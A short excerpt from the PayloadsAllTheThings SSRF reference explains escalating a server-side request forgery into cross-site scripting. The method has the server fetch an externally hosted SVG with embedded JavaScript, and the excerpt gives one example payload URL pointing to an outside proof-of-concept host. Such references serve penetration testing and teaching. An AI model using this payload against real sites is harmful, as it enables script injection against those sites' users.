When the SSRF doesn't have any critical impact, the network is segmented and you can't reach other machine, the SSRF doesn't allow you to exfiltrate files from the server. You can try to upgrade the SSRF to an XSS, by including an SVG file containing Javascript code.
https://example.com/ssrf.php?url=http://brutelogic.com.br/poc.svgSource: Server Side Request Forgery/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.